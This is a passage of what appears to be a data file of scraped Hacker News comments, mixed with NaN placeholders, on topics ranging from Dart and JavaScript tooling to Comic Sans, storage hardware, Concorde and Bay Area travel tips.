pay-for-job posting (versus posting jobs in groups, which is SPAM heavy).<p>LinkedIn answers and groups, however, has gone the way of mostly spam or, those trying to establish \\\"LinkedIn\\\" expert status' (statusi? :D). I believe many thought that owning a large group would somehow lead to monetization. Currently, groups are only moderated by the group leaders, with LinkedIn more hands-off in the approach, killing nice networking potentials.<p>As a caveat, day job = LinkedIn recruiting on a 10% basis,  whereas off work, I like to actually interact with the groups, Answers (not lately due to poor quality) and connect with interesting people unrelated to technical recruiting.\", \"Dude - you are asking a lot of questions here. Each one of your questions has a whole book (or many books) written on them.<p>I interpret what you are asking as 'How do I run a successful business?'<p>Not enough space to answer here.\", \"Thanks for PadMapper!\", \"23 Must-Have Gadgets For Students\", \"this was also pg's argument when i asked him to remove some postings made with another account that accidentally revealed confidential info about a friend's company, so i considered this would be fair game.<p>EDIT: post deleted -> put the info on twitter for those interested.\", \"But OS X did have the consolidation of file transfer dialog boxes for a long time.<p>(Although it still has woeful conflict resolution <a href=\\\"http://cl.ly/9Zqg\\\" rel=\\\"nofollow\\\">http://cl.ly/9Zqg</a>)\", \"if you look better the form factor is more like an amazon kindle. Which makes me fell damn cool when using one.\", \"I'm not an intern.  I've lived in the Bay Area for 6 yrs.  If you have a summer, aren't from the area, and want to spend a little time doing some stuff outdoors, here's what I'd add:<p>- Go walk around a old growth Redwood grove.  It's peaceful, impressive, and gives you an interesting perspective.  Big Basin is the most accessible: From 101, take the Lawrence Expwy exit and just head south for a long while.  There is a great little .5 mile \\\"trail\\\" with some of the most impressive trees.<p>- Drive down to the Big Sur area.  It's about 2hrs drive from the Mtn View area, so a day trip.  The drive is the highlight, but check out McWay falls (flat 0.3 mi hike) and Pfeiffer Beach (purple sand, natural arch with waves/sunset coming through).  Pfeiffer Beaches turnoff is unmarked, so research in advance.<p>- Tour Alcatraz.  Plan this at least a week in advance though.<p>- Rent a kayak and spend an afternoon on Elkhorn Slough in Monterey Bay.  No experience necessary.  Kayaking right past sea lions and otters is guaranteed.  Visit Phil's Fish Market next door in Moss Landing when done.<p>- Visit Yosemite valley.  You can generally get a tent cabin in Curry Village with almost no lead time for a reasonable price.  Yosemite Valley is crowded but truly iconic.<p>Other than Yosemite, all of these are easy day trips.\", \"What I do is I turn on my compilers warnings for C++ comments in C code, then use C++ comments with all my TODO comments.  That way I know if there are any outstanding TODOs when I go to build.\", \"I loved the punchline, & probably wouldn't have spotted that one myself.<p>As others have noted, the moral is to not use C++ '//' style comments in C code or at least hope that you are using a clever editor ;)\", NaN, \"Burberrys Cologne by Burberrys, burberrys is classified as a sharp, spicy, lavender, amber fragrance. This masculine scent possesses a blend of mint, lavender, sandalwood, cedar, and rich amber. It is recommended for casual wear. The scent is described as a fresh woody cologne. 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So libraries like LibreSSL do that.  Increasingly, other applications are also starting to use this pattern.  It is easier to add a few safeguards into the library than it is to fix every past, present and future application that uses it.<p>It&#x27;s a start.  Adding the safeguard doesn&#x27;t mean effort won&#x27;t be put into fixing the actual bugs.  But you just don&#x27;t fix all the world&#x27;s bugs overnight.  That&#x27;s why things like virtual memory, permissions, chroots, ASLR, NX, SSP and such exist.<p>How many systems enable core dumps by default?  I don&#x27;t actually know, but I think quite a few do.  Every application you use to get stuff done is a production application.  Every application that handles sensitive information handles sensitive information whether it is in production or not.  Leaking passwords and keys can be as simple as working on some client software, having it crash once, then passing through airport security and getting your HD snooped on...\", NaN, \"In some markets, WP has over 10% market share. It&#x27;s absolutely true that globally the share is much less but it isn&#x27;t a small number of deployed units in absolute terms.\", \"Another viable \\u2014 and possibly more enjoyable \\u2014 approach would be to use C# for the full stack, irrespective of platform. See <a href=\\\"http://xamarin.com\\\" rel=\\\"nofollow\\\">http://xamarin.com</a>\", NaN, \"KeePass 2 can be run under Mono on both Linux and Mac OSX.\", \"Interesting. But please keep politics out of HN. There are plenty of other websites more suitable.\", NaN, NaN, \"this seems plausible, yet there must&#x27;ve been thousands of attempts of people doing sql injections/looking at their logs?<p>if i remember correctly an error page leaked an ip in 2012/2013. someone had to realize the captcha was leaking at some point? consider me confused ;)\", \"> Dart will never be adopted outside Chrome<p>This is exactly where it becomes an issue. You get to a situation where apps running on Chrome are faster, and the other browsers are slower. Why would anyone run a slower JS implementation of an app, when Chrome gives them wings?<p>> Google can push Dart the same way MS did with ActiveX<p>A large body of source code isn&#x27;t as adoptable as you imagine. You need the people who are embedded in the evolution of the platform, or you are always going to lag.<p>> Only the language is a standard which Mono&#x27;s compiler and runtime has excellent support for.<p>Not true. As an example, for a long time Mono&#x27;s GC was much slower than .Net&#x27;s.<p>The lessons from the 90s and early 2000&#x27;s were very clear. We need to learn from them.\", \"There is a whole range of JVMs:\\\\n<a href=\\\"http://en.wikipedia.org/wiki/List_of_Java_virtual_machines\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/List_of_Java_virtual_machines</a>\", NaN, NaN, \"Swift playgrounds.\", \"Why anyone won&#x27;t? If you&#x27;re offered a super power for free, take it; the worst case, you have it for free and never use it.\", \">> I&#x27;m a 17-year old self-taught developer just starting to tap into the mobile world! :3<p>Great idea indeed, wish I could try.<p>To tap into the mobile world, it could be better if you&#x27;d target the 95% user base (iPhone or Android). Unfortunately Windows Phone sells less than 3% globally in Q2 and going forward, the prospects for Blackberry, Symbian and Windows Phone look darker. Even newer more exotic options such as Jolla, FirefoxOS, Tizen, Ubuntu Touch don&#x27;t seem to have prospects for much bigger market share.<p>But impressive idea, again.\", \"NaCL is a good example that shows how inspecting code is not actually the mistake that was made by the Python sandbox that was attacked in the article. The mistake was that the inspection was based on a blacklist rather than a whitelist.<p>Sandboxing based on blacklists is a recipe for disaster, and it&#x27;s an unfortunate accident of history that the default Python implementation (CPython) makes whitelisting practically impossible. Luckily, there are alternatives as others in the thread have pointed out.\", NaN, \"Why on earth would you rewrite ElasticSearch in Go ?<p>You would have woeful monitoring support compared to the huge array of tooling for JVM, an average GC implementation and almost zero integration with most enterprise applications e.g. Hadoop. All so what, you can go from one multinational (Oracle) to another (Google).\", \"No joke, had someone on my team during startup weekend this weekend that could not let go of market research. It pretty much ruined the mural of the whole team.\", \"The superpowers I&#x27;d like to have are read minds and super speed.\", NaN, \"The Concorde engines were apparently based on the Vulcan Bomber&#x27;s engines. There&#x27;s still one of those that flies, and you can see it at airshows in Britain once in a while. I saw it at this year&#x27;s Farnbourough which was an awesome experience (as was seeing the Airbus A380 take off at an extremely short distance -- when it&#x27;s not loaded with fuel and cargo it&#x27;s incredibly powerful and agile). The Vulcan was load, and has an incredible &quot;howl&quot;: <a href=\\\"https://www.youtube.com/watch?v=H_ARSE8jEHQ\\\" rel=\\\"nofollow\\\">https://www.youtube.com/watch?v=H_ARSE8jEHQ</a>\", \"> Dart will never be adopted outside Chrome<p>This is an incorrect. Dart2JS is an implementation of the Dart specification that transpiles to JS and is supported by every modern browser. Dart also has great support for Source Maps letting you debug (JS Transpiled) Dart code in other browsers via source maps.<p>The Dart team expect Dart2JS will be the primary way of running Dart which is why they&#x27;ve designed the language so that it transpiles well to JavaScript as a primary objective - i.e. they&#x27;ve often rejected language features which can&#x27;t be implemented efficiently in JS (e.g. non-local returns).<p>It&#x27;s also not clear if Opera (by virtue of Blink) will adopt Dart once it lands into Chromium/Blink.<p>> Google can push Dart the same way MS did with ActiveX<p>ActiveX is a proprietary binary blob that has nothing in common with Dart. Dart is entirely Open Source, runs on all modern browsers and integrates cleanly with the DOM (i.e. like JS).<p>> C# is an ECMA standard too; how well did Mono fare in the early days and even now after more than ten years?<p>Only the language is a standard which Mono&#x27;s compiler and runtime has excellent support for. The biggest problem Mono faces is that they&#x27;ve had to re-implement the massive .NET Framework class libraries themselves. This is not an issue with Dart because they entire platform (VM, Class Libraries, Tools, Analyzer, etc) is Open Source, so the same implementation can be used everywhere as-is.\", \"When I wanted to code a foundation of reusable code for different devices I would either do it like Dropbox and use C++ as the most common layer <a href=\\\"http://oleb.net/blog/2014/05/how-dropbox-uses-cplusplus-cross-platform-development/\\\" rel=\\\"nofollow\\\">http://oleb.net/blog/2014/05/how-dropbox-uses-cplusplus-cros...</a> or use Javascript (which I can also use for web pages) for the program logic like described here <a href=\\\"http://www.skyscanner.net/blogs/developing-mobile-cross-platform-library-part-3-javascript\\\" rel=\\\"nofollow\\\">http://www.skyscanner.net/blogs/developing-mobile-cross-plat...</a><p>Also interesting <a href=\\\"http://kivy.org\\\" rel=\\\"nofollow\\\">http://kivy.org</a> allows you to use Python for iOS, Android, OS X and Windows.<p>I would not bet on Swift and cross compiling it today... too bleeding edge. But interesting project... hope it matures. Good luck!\", \"Comic Jens is great too: <a href=\\\"http://www.netzallee.de/extra/comic-jens-en\\\" rel=\\\"nofollow\\\">http://www.netzallee.de/extra/comic-jens-en</a>\", \"Meh, I don&#x27;t care if I lose more stupid fucking Hacker News points, but I can&#x27;t understand why I would have been down voted for this comment.\", NaN, \"different\", \"These guys already did port those frameworks to Android:\\\\n<a href=\\\"http://www.apportable.com\\\" rel=\\\"nofollow\\\">http://www.apportable.com</a>\", \"Funny quip at the boxed wine, since good winemakers have started selling their stuff in BIB in the last 15 years in France. It shows a bit the lack of perspective of some people.<p>They complain about comic sans to show membership to a group. Like cracking a Star Trek joke.\", \"For anonymity, I guess. If the spammers write scripts to send emails from your servers, the authorities can\\u2019t track down the spammer\\u2019s servers and shut them down. And the spammers would be able to just keep creating anonymous accounts and using your site to spam after each spam-script is individually shut down.\", NaN, \"cperciva already answered, so I&#x27;ll just add that most side-channel attacks (at least those using power analysis) on AES typically focus on the last round.\", \"&quot;Why Google thinks you should drop everything you do and pick up Go&quot; .. no wait.. compute error.\", \"> the entire source code for the .NET Framework is available.<p>Which means nothing as no-one else is legally allowed to use it. It&#x27;s only &quot;Source Open&quot; (not &quot;Open Source&quot;) so no-one is legally allowed to adopt, adapt, enhance, etc as can be done with true Open Source projects.\", \"<i>Without knowing anything about this guy, it seems like he&#x27;d be the kind of person who&#x27;d wear socks under his Crocs because it&#x27;s comfortable and he doesn&#x27;t care.</i><p>Hahaha. When I knew Simon Peyton Jones he didn&#x27;t wear shoes at all\\u2014just bare feet\\u2014in Glasgow\\u2014one of the coldest, wettest cities in the UK.\", \"I was able to connect to any database from a multi-tenant ERP written in Python. The idea was to get hold of the class of the connection object, and re-instanciate it, while passing a new database name in parameter. That ERP lets users (of different tenants) write Python code in various places. The kind of code you could write was already restricted but not sufficiently. Now all the dunder are forbidden, things like getattr() are also forbidden, which makes the trick used in that blog post not possible. One of the funny thing I had to do was to use lambdas to name intermediate values, because statements were prohibited.\", \"When forced to use Windows at a previous job, I used <a href=\\\"http://code.google.com/p/python-windows-tiler/\\\" rel=\\\"nofollow\\\">http://code.google.com/p/python-windows-tiler/</a><p>In fact I only had 2 applications running: Outlook and Cygwin/X tunneled to a Linux server, where I did everything else.\", NaN, \"Right now, you can share your ideas and feelings with texts, videos, pictures. Why not with your voice? With Zaundy, you can leave your personal soundprint anytime anywhere, and share what you are listening to.<p>Your Zaund will be publicly available. People can listen to any Zaund recorded in the same area where they are, or within a specific time frame.<p>Any time is the good time to let everyone know what you are thinking and listening to.<p>Download it now and start zaundying!<p>Google Play https://play.google.com/store/apps/details?id=com.zaundy.callout<p>Facebook https://www.facebook.com/zaundy<p>Twitter https://twitter.com/zaundy<p>Google+ https://plus.google.com/118223430878651018203<p>LinkedIn https://www.linkedin.com/company/zaundy\", \"> Dart remains a Google-lead project tied to Google&#x27;s goals rather than an actual open platform.<p>Right, I agree with you.  I guess you didn&#x27;t read my whole post.  To quote myself from just above: &quot;I guess how you feel about Dart may depend on how you feel about Google and big corporations more generally. Just because a big company that has a lot of mindshare/marketshare creates a great platform, does that necessarily mean we should be afraid of it? Maybe, but if you&#x27;re frustrated by JavaScript, it&#x27;s certainly worth a look.&quot;\", \"There are two programming language environments, or better to say operating systems, that are designed for this kind of immediate coding: Forth and Smalltalk. Forth plays its strength when controlling hardware. Your code is immediate executed, and you see the results, e.g. a robot arm moving instantly. Times of Forth coders running circles around teams using traditional programming languages are nearly over.<p>Smalltalk on the other hand still has to find its killer application. Smalltalk was 35 years to early, and since then every few month a new language is hyped, each one one step closer to Smalltalk. Computing history turns in cycles and we soon will have a situation comparable to VM/370, where every application is running its own operating system. I hope that there will be a Smalltalk killer application exploiting the immediate changes in coding to power users, similar as Forth controllers do, but on GUI level.\", \"I would take what kevingadd says with a grain of salt.  He&#x27;s the author of a .NET -> JS compiler (arguably a competitor to Dart) and the experience he cites below is pretty different from what I&#x27;ve had and my colleagues have had.  I don&#x27;t mean that as character assassination - he&#x27;s obviously a very talented developer - but rather as a point of contrast.<p>Frankly, you would not want to be touching the compiled JavaScript from Dart - it&#x27;s not meant to be changed.  I agree that if it&#x27;s that broken, then you should certainly not use the platform.  So you should just be writing in JavaScript or just be writing in Dart.\", \"The first book on that list &quot;Grey Hat Python&quot; isn&#x27;t very good. It contains some good parts but it skips things like  Scapy which a consider a superb tool if you are in the pentesting business. I recommend reading &quot;Violent Python&quot; instead. It&#x27;s everything that Grey Hat should have been...\", \"> No other browser can practically implement or support Dart.<p>They don&#x27;t have to, they can use the Open Source DartVM as-is, in-fact this is what Google encourages, just like how node was able to use V8 JavaScript engine - which they&#x27;ve said is an example of new use cases that&#x27;s possible when you create a high-performance VM.<p>> Google&#x27;s engineering could have gotten JS much farther along<p>Lars Bak and Kasper Lund on the Dart VM are the same guys on the V8 team, who were also on the world-leading JVM Hotspot compiler that was derived from the Strongtalk VM (the fastest implementation of Smalltalk) that they created. They believe performance of JavaScript is reaching its peak and is unlikely to see another 2x improvement, JS VM&#x27;s are also extremely complex as JavaScript is extremely hard to optimize.<p>By contrast Dart is a much simpler and predictable language designed for both productivity and performance and because it was designed in-hand with the VM engineers, language features are designed in a way that performs well.\", NaN, NaN, \"> OS X Yosemite will include a Hypervisor<p>Is that a type 1 hypervisor that can run a linux VM image/container without vbox/parallels/fusion, as if the VM/container was an &quot;app&quot;?\", \"Use of uninitialized memory is certainly a common bug but I&#x27;m not seeing what that has to do with zeroing free&#x27;d memory.  It might be easier to detect such a bug if the uninitialized memory is zero&#x27;d but it seems like the work devoted to zeroing memory would be better spent fixing the uninitialized memory accesses.<p>As for the second point production software isn&#x27;t typically configured to produce core dumps (ie. ulimit -c 0).\", \"it&#x27;s a common misunderstanding that ad publishers care about Google users. They care their own customers, and Google is just a user acquisition channel.<p>Say you are a bread maker, do you care the shopping environment your customers buy the bread, if you only pay commission to the shopping mall according to the sales number? Of course you don&#x27;t, because if one shopping mall doesn&#x27;t sell any of your bread, you have no cost!\", \"Dart will never be adopted outside Chrome, but there is plenty to worry about already.<p>- Google can push Dart the same way MS did with ActiveX<p>- C# is an ECMA standard too; how well did Mono fare in the early days and even now after more than ten years?<p>- The relegation of JS innovation to second place behind Dart is a cause of concern. HTML and JS are the basic foundations of our web.\", NaN, \"Except for the JS transpiler, Microsoft Silverlight could make similar claims: the CLI runtime is standardized by ECMA, and the entire source code for the .NET Framework is available. (Granted, not the Visual Studio IDE.)<p>For these kinds of platforms, post facto standardization efforts and code releases are part of marketing, IMHO. Dart remains a Google-lead project tied to Google&#x27;s goals rather than an actual open platform.\", \"You might try Adobe&#x27;s editor, Brackets. It does a very good job at psudeo-intellisense, can even infer argument types, and has lots of nice plugins for working with JavaScript - including features that let you see the body of a function under the cursor, or the JSDoc (the equiv of JavaDoc). There is a JSHint plugin (linting is the closest JS gets to compilation). And of course the Theseus debugger, which is quite good. I think its neat that the editor is built on browser tech (Github&#x27;s Atom is built like that, too).<p>Client side development is, ironically, somewhat <i>more</i> complex because of the lack of module standard. You&#x27;ll almost certainly want to use require() in the browser, but that won&#x27;t work without taking extra, confusing steps. &#x27;Browserify&#x27; pre-processes your JavaScript, generating a single large bundle, but that introduces complexity both at build- and run-time. And that doesn&#x27;t even address the ongoing saga of the lack of a module standard for the browser.<p>By contrast, writing simple programs or servers in Node is vastly more enjoyable than in Java.\", \"I wish they&#x27;d invest in Go for the frontend. If a project like GopherJS can get as far [1] as it is now with just 1 person working on it for a few months, imagine if it had more support. And then you could use a language as nice as Go for both frontend and backend.<p>[1] <a href=\\\"https://github.com/gopherjs/gopherjs#what-is-supported\\\" rel=\\\"nofollow\\\">https://github.com/gopherjs/gopherjs#what-is-supported</a>\", \"Because if I choose dart I have still to deal with the derived javascript code implementation I must use to run in other browser that are not chrome and, as described by the post close to this, often that js is so broken it cause big bugs on firefox for example, and to understand and repair those you have to know js.\", \"I&#x27;m not sure exactly what I said that you&#x27;re replying to (or if you&#x27;re just replying to my Dart boosterism more generally) but what you seem to be addressing are political issues (who controls the Web, where resources are allocated) and not technical issues.  Considering that Dart is open source, standardized by the same international body as JavaScript (ECMA), and compiles to JavaScript I think the argument against it would be weightier if it was made on technical merits.<p>But I agree that it would be dangerous for one company to control the web - but like you said it&#x27;s a pipe dream that Dart will gain wider adoption - so why worry yourself by writing all that about it? <i>You can&#x27;t say it will never gain wider adoption and then also be worried about it gaining wider adoption at the same time.</i> So either it has merit and will gain adoption and we should be worried about it, or it doesn&#x27;t have merit and there&#x27;s nothing to worry about.\", \"Nearly all of the answers give the same answer: that Comic Sans is a fine typeface that is only inappropriate (sometimes) because it sets an inappropriate tone.<p>I don&#x27;t believe that&#x27;s the main problem at all. The problem is aesthetic[1]. Some letterforms are inherently unbalanced and create tension, notably the wild angles in the m, the serif in the s, and the tipping-over T. The wobbles in the I, n, and h distract as well. Beyond that, there are the subtler issues of different inclination on the verticals (j, t, l, h) and bad kerning for various character pairs.<p>If Comic Sans were truly convincing as handwritten font, it would probably be better; on the plus side it is sufficiently far from that that it avoids falling in the very bottom of a handwriting uncanny valley.<p>Now aesthetics doesn&#x27;t necessarily impede legibility per se, but beauty and visual harmony are generally enjoyable, and  use of Comic Sans eschews it. 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At moment I didn&#x27;t find any issue with 6to5 but if I&#x27;ll do of course I will let you know. Btw feel free to do the same on my project.\", \"I had something much larger typed up, but I&#x27;ll be honest, it&#x27;s been a number of years since I studied and my chemistry is a bit rusty. From what I seem to remember, I would&#x27;ve thought the apomorphine rearrangement would be more likely to prevail in the conditions given from a RP/I2 reaction, but I&#x27;m possibly completely off-base now (see above: rusty!).<p>I&#x27;d be super curious to see whether anyone has properly analysed what comes out of that reaction, and what those addicts are putting into their veins (aside from horrendous toxic byproducts). The reaction method makes some sense, but reactions with opiates are typically finicky, so I&#x27;ve always been skeptical of these reports. I&#x27;d expect desomorphine to be present, yes, but in trace amounts at best (along with morphine and other byproducts)!\", \"> Note it presently has no support for loops whatsoever.<p>Could you comment on why? Is it perhaps necessary to save/restore ECX [edit: I meant RCX for 64bit] between procedure/function <i>call</i>s/<i>ret</i>s?\", \"Do you remember the Matrix movie from 1999? The GitHub Matrix shows a constant stream of latest commits from GitHub in a Matrix-style animation. Click on the drops to open the corresponding revision on GitHub.<p>The source code is published under MIT license on GitHub: <a href=\\\"https://github.com/winterbe/github-matrix\\\" rel=\\\"nofollow\\\">https://github.com/winterbe/github-matrix</a><p>Please retweet this if you like: :) <a href=\\\"https://twitter.com/benontherun/status/544372319867899906\\\" rel=\\\"nofollow\\\">https://twitter.com/benontherun/status/544372319867899906</a>\", \"<i>over-analysis of language is needed when language becomes arbitrary</i><p>I&#x27;m not sure I understand why over-analysis is needed.  The &quot;cloud&quot; concept isn&#x27;t entirely arbitrary.  Most clouds (unless they&#x27;re in a photograph or painting or being described abstractly using language) arise from the same physical processes and behave similarly (raining, darkening the sky and so on).  This is how &quot;cloud&quot; gets its meaning in everyday language: there really is a shared phenomenon there.<p>The error happens when we try to understand the individual physical processes underlying a particular phenomenon as part of a single object.  Even though the concept of separate objects is useful in everyday life, it no longer has meaning when you start trying to decide which cloud a given raindrop belongs to.  Why not just abandon the now-useless concept of cloud and start talking about the raindrops as individual entities with their own behavior?  Of course, we could look closely at the raindrops and see they are made of molecules: really the concept of &quot;raindrop&quot; is just another useful but ultimately imprecise bit of language.  And so on...\", \"I disagree with clumping atonal together with microtonal, they are two completely different things.<p>Regarding Wyschnegradsky, maybe his music is a gentle introduction into atonal music, I don&#x27;t know. Compared to other microtonal music though, I find it quite dissonant. Some alternatives I would suggest:<p>Wendy Carlos&#x27; album &quot;Beaty in the Beast&quot;,\\\\nEasley Blackwood&#x27;s etudes, such as this: <a href=\\\"https://www.youtube.com/watch?v=odTIoRzbDhA\\\" rel=\\\"nofollow\\\">https://www.youtube.com/watch?v=odTIoRzbDhA</a> , Sevish&#x27;s music: <a href=\\\"https://soundcloud.com/sevish\\\" rel=\\\"nofollow\\\">https://soundcloud.com/sevish</a> ,Cryptic Ruse&#x27;s music: <a href=\\\"https://soundcloud.com/crypticruse\\\" rel=\\\"nofollow\\\">https://soundcloud.com/crypticruse</a>, X.J. Scott&#x27;s music: <a href=\\\"http://www.soundclick.com/bands/default.cfm?bandID=141776\\\" rel=\\\"nofollow\\\">http://www.soundclick.com/bands/default.cfm?bandID=141776</a> ,Prent Rodgers&#x27; music: <a href=\\\"https://soundcloud.com/prent-rodgers\\\" rel=\\\"nofollow\\\">https://soundcloud.com/prent-rodgers</a> ,Dante Rosati&#x27;s music: <a href=\\\"https://soundcloud.com/dante-rosati\\\" rel=\\\"nofollow\\\">https://soundcloud.com/dante-rosati</a> ,Syzygy&#x27;s music: <a href=\\\"https://www.youtube.com/watch?v=j3FZkQTn51o\\\" rel=\\\"nofollow\\\">https://www.youtube.com/watch?v=j3FZkQTn51o</a><p>And I could go on.\", \"True, but you can increase that reliability with encrypted sqlite. Gonna have to pay for it, though.\", \"Yes, write a book. It would sell like hot cakes to us.  You&#x27;ve inspired the shit out of me today!!\", NaN, \"Not a very good starting point to consider phone app storage a reliable secure black box...\", \"I didn&#x27;t know Esperanto.I will test it an if it produces a better output I&#x27;d be happy to replace requirejs + amdclean with it\", \"> <i>&quot;The Soviets also had a design that supposedly incorporated stolen Concorde blueprints&quot;</i><p>From what I understand, the Tu-144 didn&#x27;t really incorporate anything of significance from Concorde -- the plans they had access to were more like sketches than fully fleshed out blueprints, and they only had usable details on a few minor components.  The Tu-144 shares mostly superficial similarities with Concorde, with only a couple of similarities that might possibly have been the result of espionage.\", \"Thats the exact point. Why pay for all flash in a storage system when the costs don&#x27;t justify the usage. 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Thus we really don&#x27;t need a one medium for all but rather a tailored approach based on your workloads.\", \"Thank you.\", \"Stockholm&#x27;s home stock stunted; startups stifled<p>You&#x27;re gonna have to learn to talk that <i>Variety</i> speak!\", \"I can understand that debugging expanded code is not fun.<p>On the other hand, LOOP allows to naturally express iteration patterns that can be error-prone with other languages: you hardly produce off-by-one bugs contrary to hand-crafted loops.<p>See the Appendix of the Iterate manual for a comparison of looping constructs in CL: <a href=\\\"http://common-lisp.net/project/iterate/doc/Don_0027t-Loop-Iterate.html\\\" rel=\\\"nofollow\\\">http://common-lisp.net/project/iterate/doc/Don_0027t-Loop-It...</a>.\", \"Can a &#x27;perfect&#x27; algorithm actually give end-users the consistent feel of flash performance with 80% of data stuck on platters? I doubt it.<p>Access patterns having some statistical distribution is one thing. Writing the allocator -- and always guessing right in where you allocate a file is another thing altogether.<p>Flash is massively higher performance, so every time you are wrong the user will definitely know. All we hear about these drives is that they aren&#x27;t consistently fast. Or they&#x27;re decent until you actually push them too hard.<p>SSDs themselves used to have poor consistency. But drives are manufactured to ever increasing standards. The Samsung 10 year warranty for example is striking.<p>80% of your data on a medium which is less reliable over time?! More complex moving parts increases failure rates. There are downsides here to consider I think?\", \"Yes, I&#x27;m familiar with Michael Hoffman&#x27;s egodeath theory, and I agree with many of his historical perspectives and interpretations of religious experience. Like you say, his theory is hard to summarize. Relating to this thread, I think psychoactives can be a double-edged sword used for good or evil. Quoting Hoffman:<p>> Given that the Empire used entheogenic mystery-religion initiation to dominate socially and oppressively, Christianity used mystery-religion initiation to emancipate/liberate ... The religions of Jesus and Caesar were in a battle over the meaning and application of mystery-religion initiation. It&#x27;s a battle about what to do with the fact of mystery-religion initiation. [1]<p>Perhaps there were mystery cults with the best of intentions, such as the Gnostics for example, who would have had good reasons to conduct their initiations in secrecy to avoid persecution. And perhaps psychoactives can be used for &quot;short path enlightenment&quot; as Watts would say, as well as for political control.<p>What gives me pause for concern is the evidence of deep involvement on the part of the CIA with the drug counterculture. This is the same agency with a history of overthrowing democratically elected governments, conducting heinous psychological experiments on Americans, and not to mention torturing and murdering people around the world. They&#x27;re simply not to be trusted.<p>Yet we find the fingerprints of the CIA all over the origins of the so-called psychedelic revolution, even carefully crafting the terms and definitions in which to frame the discussion:<p>> In the early years of research into these drugs, psychology researchers and military intelligence communities sometimes called them, aside from \\u201challucinogen,\\u201d by the name \\u201cpsychotomimetic\\u201d \\u2013which means psychosis mimicking. The word hallucinogen, \\u201cto generate hallucinations,\\u201d came just a few years before psychotomimetic. The same year that psychotomimetic was created we also saw the creation of the word \\u201cpsychedelic\\u201d \\u2013 which means \\u201cto manifest the mind.\\u201d The last stage of this etymological evolution, as we\\u2019ll see, was the word \\u201centheogen\\u201d \\u2013 which means \\u201cto generate god within.\\u201d<p>The word &quot;entheogen&quot; was a creation of Wasson and Ruck [2], which has the intended effect of framing discussions about psychoactives as spiritual phenomenon. Like Leary said, it&#x27;s all about set and setting.<p>Jan Irvin, a researcher in this field who I quoted above, has said that &quot;mysticism is the tool of tyrants&quot;. It&#x27;s hard to find cases in history of mysticism liberating individuals with so-called true knowledge. Usually, it&#x27;s been the opposite: rational, scientifically-based discovery has been the liberator from superstition, ignorance, prejudice, and authority.<p>I&#x27;ll definitely check out csp.org since this is an area of interest for me. And I&#x27;d be happy to talk about experiences via an email discussion with you at donald dot ness at gmail dot com.<p>[1] <a href=\\\"http://www.egodeath.com/SocioPoliticalResistanceAsThematicLayer.htm\\\" rel=\\\"nofollow\\\">http://www.egodeath.com/SocioPoliticalResistanceAsThematicLa...</a>\\\\n[2] <a href=\\\"http://www.gnosticmedia.com/Entheogens_WhatsinaName_PsychedelicSpirituality_SocialControl_CIA#_ednref105\\\" rel=\\\"nofollow\\\">http://www.gnosticmedia.com/Entheogens_WhatsinaName_Psychede...</a>\", \"Yup. Simply disassociating the benefits of rent control from the housing unit it is attached to would go a long way to permitting development. The way things are today, rent control basically serves as an almost permanent mutex on the development of the underlying real estate.<p>I&#x27;d be more useful if cities made it a policy that the amount of housing subsidy you receive is proportional to the year you moved to the city. That would achieve the same goal as rent control (i.e. affordable housing), but alleviates the mutex on many structures that could be torn down to make way for structures that permit great density.<p>Affordable housing programs are fine. Tying up the underlying asset indefinitely is counterproductive.\", \"Thanks 4 your feedback, the reason why I am using the requrejs + amdclean is that the other tools I&#x27;ve found like browserify add extra code to keep using the require calls and I would like to avoid it. If there is a better solution I&#x27;d really appreciate a pull request\", \"And not just rendering. Animation is the biggest issue. You don&#x27;t get Hollywood quality animation out of nothing. DX12 is going to provide some new features but calling it &quot;as good as CGI&quot; (i.e. movie-quality CGI) is just dreaming.\", \"CGI = Computer-generated Imagery<p>Now that&#x27;s what I call a tautology :)<p>&quot;Feature film quality&quot; is probably what the author was after.\", \"You describe me by directly contradicting my own statements. Now you&#x27;re telling me I am lying about myself just so you can paint me as some particular kind of bogeyman? You could have had this conversation without me. Try accusing a mailbox of something as an outlet, perhaps? Or do you have a need to make people feel bad?\", \"Seems there&#x27;s nothing specific in the article about which which changes to DX are supposed to enable CGI quality, or how. Is it more polys/sec for smoother models and more geometry? Maybe a more efficient shared memory architecture for GI (I&#x27;m speculating. Maybe dreaming)? We&#x27;re always being promised cinema quality in games, and while we&#x27;re really not all that far off from it already, we&#x27;re still quite a bit behind in lighting/rendering.\", \"Mostly reliability. I would never carry spinning rust in my laptop again, those days are gone. But also form factor, simplicity, consistency of end-user experience, and eventually solid-state will be cheaper than spinning platters in any case. Every graph I&#x27;ve seen of storage price with series for platters and flash show those lines eventually intersecting.\", NaN, \"My suspicion is that it started as an economic move. The Israelites were sheep herders trying to carve a niche in a dominant culture of pig and cattle herders. Telling them they couldn&#x27;t eat pork and certain sacrifices had to be lambs was a way of subsidizing the sheep farmers. I came to this conclusion after reading a long chapter in the bible that talks about the breeding. Even back then they understood husbandry and economics. I doubt anyone had a clue about germ theory.\", \"The semantics for write(2) and mmap(2) differ. Neither can be used to implement the other in full.<p>It&#x27;s possible to have access patterns which don&#x27;t demonstrate the efficiencies of mmap but it would be incorrect to suggest they do not exist. The overhead of making a syscall to access an area of a file and copying the data being accessed is significant for many workloads.\", \"Shiny is incredible. My company might be delivering a customer facing product using Shiny.\", \"We don&#x27;t know when and where life might have existed or currently exists ...even on the planets that we know about. Some interesting things to read if you wonder about such things:<p><pre><code>  http://en.wikipedia.org/wiki/Sara_Seager#Seager_equation\\\\n  http://en.wikipedia.org/wiki/Drake_equation</code></pre>\", \"I am glad I read the article and not judge it based on your comment. Your comment is apparently valid for some research but here its targeting the wrong one.\", \"Or maybe people just shouldn&#x27;t take drugs.\", \"Are there historical parallels to the current situation? Has there been another time or place where a young population all of a sudden became rich in the span of only a few decades and wanted to live in urban areas, which were currently occupied by less rich communities?<p>Has this happened before? How did it turn out?\", \"Absolutely. We&#x27;re not even certain if life exists (or ever previously existed) on planets that we have hardware on.<p>The criteria in the article were input energy and a &quot;bath&quot; into which that energy can be dissipated. Perhaps there is a minimum potential difference before structures will self-organize--or perhaps the probability of self-organization is proportional to the difference.<p>Speculating along this line of reasoning: On Mercury, you have plenty of input energy, but few options for dissipating it. On Europa, you may have the reverse problem.<p>For all we know, however, Europa may actually have life. Our sample set is too small.\", \"As a whole, I think the article finally provides a fair amount of specificness, but I was initially struck by how much space is devoted up front to &quot;he-said she-said&quot;. It reminded me of celebrity gossip, sportscasting, and punditry.\", NaN, \"The Kennedy administration funded a Mach-3 airliner that was supposed to be an answer to the European Concorde project.<p><a 